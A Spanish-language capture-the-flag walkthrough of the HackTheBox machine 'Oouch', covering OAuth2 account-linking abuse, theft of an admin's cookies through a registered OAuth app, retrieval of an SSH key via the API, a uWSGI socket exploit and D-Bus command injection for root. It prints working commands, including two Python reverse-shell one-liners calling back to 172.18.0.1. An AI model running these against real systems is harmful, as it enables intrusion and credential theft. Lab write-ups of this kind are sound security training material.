HackTheBox. Tutorial Oouch. OAuth2, RCE a uWSGI y LPE sobre DBUS



Sigo publicando soluciones enviadas para la finalización de máquinas desde la plataforma HackTheBox .



En este artículo, analizaremos el ataque a la autenticación OAuth2 y también registraremos nuestra aplicación para secuestrar las cookies del administrador. Además de esto, ejecutaremos el RCE en el servidor web y el servidor de aplicaciones web uWSGI, y también elevaremos los privilegios a través del bus de mensajes D-Bus.



La conexión al laboratorio es vía VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la información.



Información organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tiene una dirección IP de 10.10.10.177, que agrego a / etc / hosts.



10.10.10.177 	oouch.htb


El primer paso es escanear los puertos abiertos. Dado que se necesita mucho tiempo para escanear todos los puertos con nmap, primero lo haré usando masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a 500 paquetes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182      --rate=500






Ahora, para obtener información más detallada sobre los servicios que se ejecutan en los puertos, ejecute un escaneo con la opción -A.



nmap -A oouch.htb -p8000,22,21,5000,5555






Así tenemos:



  • El puerto 22 es SSH.
  • El puerto 8000 es el servidor web que responde con el código 400.
  • Puerto 5000: servidor web, redirigir a la página de autorización.
  • Puerto 21 - FTP, donde se encuentra el archivo project.txt, accesible con autorización de anónimo.


Vaya a FTP como anónimo, descargue el archivo y vea.











No nos dice nada. Vamos al servidor web.







Como se desprende del informe de nmap, se produce una redirección a la página de autorización. Existe la posibilidad de registro, registrémonos y luego iniciemos sesión.















Por lo tanto, el sitio está en desarrollo, almacena un mínimo de información sobre los usuarios, tiene la capacidad de almacenar documentos (esta opción está disponible solo para el desarrollador) y también tiene comentarios de las administraciones. Estamos seguros de que el administrador del sistema lee todos los mensajes.



Al intentar robar cookies, la etiqueta se bloqueó (por cierto, ya no está bloqueada).







Al no encontrar ningún vector, se decidió escanear directorios.



dirb http://oouch.htb:5000/






Y encontramos un directorio oculto oauth.







Agreguemos este dominio a / etc / hosts.



10.10.10.177    consumer.oouch.htb






Pero hay una redirección. Agreguemos este dominio a / etc / hosts.



10.10.10.177    authorization.oouch.htb






De nuevo se encuentra con la página de inicio de sesión. Iniciamos sesión con las mismas credenciales. Pero con un nuevo intento, somos transferidos al puerto 8000.



consumer.oouch.htb : 5000 / oauth / connect -> autorización.oouch.htb : 8000 / login /







Habiendo escaneado los directorios de inmediato , no encontramos nada interesante, así que nos registramos aquí también.







Y busque un nuevo directorio que dirb no encontró. Vamos a buscarlo.



dirb http://authorization.oouch.htb:8000/oauth






¡Hay un directorio más! Pero ahí nos encontramos con la autenticación HTTP.







También lo hacemos en este directorio.



dirb http://authorization.oouch.htb:8000/oauth/applications/






Las aplicaciones más probables se encuentran en este directorio y se pueden registrar. No encontramos nada más interesante aquí.



Registrándonos donde fue necesario, volvemos a la conexión original. Se utiliza la autenticación OAuth.



Autenticación OAuth



OAuth es un protocolo de autorización abierto que le permite proporcionar a un tercero acceso limitado a recursos de usuario protegidos sin la necesidad de transferir su nombre de usuario y contraseña al tercero.



OAuth utiliza tres tipos de credenciales: credenciales de cliente, credenciales temporales y credenciales de token.



Pasos del protocolo OAuth 2.0:



  1. . (client ID), (client secret), URI (redirect URI) .
  2. , authorization grant.
  3. , .
  4. , , ( ). .
  5. .
  6. , .






De esta forma, la cuenta de usuario se asocia con recursos específicos en el servidor de recursos.



Ataque de Oauth



Este protocolo puede ser atacado, lo que nos permite vincular nuestra cuenta con los recursos de otro usuario. Para hacer esto, no necesita usar su token de acceso único, sino obligar a otro usuario a transferirlo al servidor. Luego, la cuenta que posee el token se asociará con los recursos de la cuenta que lo proporcionó.

Dado que el administrador del sistema responde a todos los mensajes, es posible que siga el enlace que le enviaremos. Además, en esta aplicación, el token de acceso no se pasa en el encabezado HTTP (como debería ser), sino en el parámetro URL. De esta forma podemos realizar este ataque.



Vaya a consumer.oouch.htb : 5000 / oauth / connect y descárguelo usando Burp Suite.







Omitimos esta solicitud y se nos redirige y con el parámetro de ID de cliente.







También omitimos esta solicitud. La redirección sigue nuevamente, donde podemos observar otros parámetros del protocolo de autenticación.







Omita la solicitud nuevamente. Aparece una ventana de autorización en la página. Para finalizar, haga clic en el botón de autorización.











Omitimos esta solicitud. ¡Y ahora estamos siendo redirigidos nuevamente, con un código de un solo uso como parámetro!







Guardemos este token y descartemos la solicitud. Enviemos este enlace al administrador para que cuando lo siga, nuestra cuenta quede ligada a sus recursos (y si recuerdas, tiene derecho a almacenar documentos).







Ahora revisemos consumer.oouch.htb : 5000 / oauth / login.















Hacemos clic en el botón ya familiar, y en la página abierta observamos el perfil de usuario qtc.







Veamos los documentos.







Hay registros sobre la clave SSH, el directorio de usuarios y las credenciales para registrar aplicaciones.



Punto de entrada



Si podemos registrar nuestra aplicación, ¡podemos obligar al administrador a que acceda a ella y descubra sus cookies!



Regresemos a la página de registro de la aplicación e inicie sesión. Y en el formulario que se abre, registraremos una nueva aplicación, indicando el tipo de público del cliente, el tipo de código de la concesión de autorización e indicaremos el puerto abierto en el host local para la conexión.







Guardamos nuestro ID de cliente y nuestro secreto de cliente. Intentemos autenticarnos para comprobar que la autenticación funciona y el usuario será redirigido a nosotros.



Formemos un enlace, especifiquemos los datos de la aplicación registrada en los parámetros correspondientes:



autorización.oouch.htb: 8000 / oauth / autorizar / client_id = MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs y redirect_uri = http: //10.10.14.203: 4321 y grant_type = authorization_code y client_secret = e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6



Ahora seguirlo para ver la conexión.







Ya que todo funciona, enviemoslo al administrador.







Así es como reconocemos sus cookies. Aplicémoslos.







Y estamos conectados al servidor como qtc.



USUARIO



Para acceder al recurso, necesitamos un token, y para que el servidor nos lo devuelva, cambiaremos el tipo de concesión de autorización a client_credentials.







Y solicitaremos el token usando curl: configuramos el método POST (-X), los encabezados HTTP requeridos (-H), las cookies, los datos que queremos enviar, y también permitir la redirección (-L). Dado que la respuesta se devuelve en formato JSON, usamos jq para mostrar la respuesta de manera agradable.



curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H “Content-Type: application/x-www-form-urlencoded” --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data “grant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq






Recibimos una ficha. Y ahora podemos recurrir al recurso que se enumeró en los documentos. Hagamos esto también con curl.



curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq






Como era de esperar, recibimos información sobre el usuario. ¡Pero no sabía qué hacer a continuación! La conjetura vino solo cuando me insinuaron que "la API para obtener datos de usuario está lista, pero hay planes para obtener la clave SSH". Luego pensé que, por analogía con la API get_user, para obtener información sobre un usuario, debería intentar llamar a get_ssh.



curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csr
ftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq






Y obtenemos la clave qtc del usuario. Habiéndolo traído a su forma normal, nos conectamos al host y tomamos al usuario.







RAÍZ



Para recon'a en el host, ejecute LinPEAS. Como resultado, encontramos una nota dejada por la raíz.











Y además del hecho de que Docker se está ejecutando en el host y la clave ssh privada, no encontramos nada.







Lo más probable es que el vector de ataque vaya a la ventana acoplable. Además, la nota menciona DBus e iptables. Todo el mundo ya conoce iptables, pero DBus es otro asunto. Dbus o Desktop Bus es un sistema que se utiliza principalmente en el sistema operativo Linux para permitir que varias aplicaciones y servicios se comuniquen entre sí.



Echemos un vistazo a las interfaces de red encontradas.







Y vemos 2 hosts. Logramos entrar en el primero.







Y busque el directorio / código.







En start.sh encontramos el uso de uwsgi.







Y en route.py encontramos el uso de dbus.











Por tanto, el usuario del servicio tiene derecho a utilizar el dbus. Es decir, tenemos que conseguir un caparazón.



uWSGI es un servidor web y un servidor de aplicaciones web implementado originalmente para ejecutar aplicaciones Python sobre el protocolo WSGI. Se utiliza para ejecutar aplicaciones basadas en frameworks Django, Flask y otros. Busquemos exploits.







Descargue el primero y cárguelo en el host.



scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/


Empecemos.







Por lo tanto, necesitamos un socket uwsgi. Además, el servicio está funcionando actualmente.







Esto significa que el socket también estará en el directorio tmp.







Ejecutemos el exploit con todos los parámetros.







Da error al importar bytes, entremos y cambiemos el código fuente.











Si vuelve a ejecutar el exploit, funcionará, pero no funcionará. Reemplacé el shell bash con python. Funcionó.



python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"






En la terminal con el netcat vemos la conexión.







Y ahora tenemos los derechos para ejecutar dbus. El comando dbus-send se utiliza para enviar un mensaje al bus de mensajes D-Bus. Hay dos buses de mensajes bien conocidos: el bus de mensajes de todo el sistema y el bus de mensajes para la sesión de inicio de sesión del usuario. Para utilizar dbus-send necesita conocer el "nombre de la conexión", que se especifica en el parámetro --dest. Siempre se debe especificar la ruta al objeto y el nombre del mensaje a enviar. Los siguientes argumentos, si los hay, son el contenido del mensaje (argumentos del mensaje). Se dan como nombre de tipo, dos puntos y luego el valor del argumento. Nombres de tipos posibles: cadena, int32, uint32, doble, byte, booleano.



Comando de ejemplo:



dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block “string:; SHELL”


Usamos --print-reply para bloquear la respuesta a la solicitud.



dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"






Y vemos una conexión exitosa.







Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos filtrados y software. Reunamos una comunidad en la que haya personas con experiencia en muchas áreas de TI, entonces siempre podremos ayudarnos mutuamente en cualquier tema de TI y seguridad de la información.



All Articles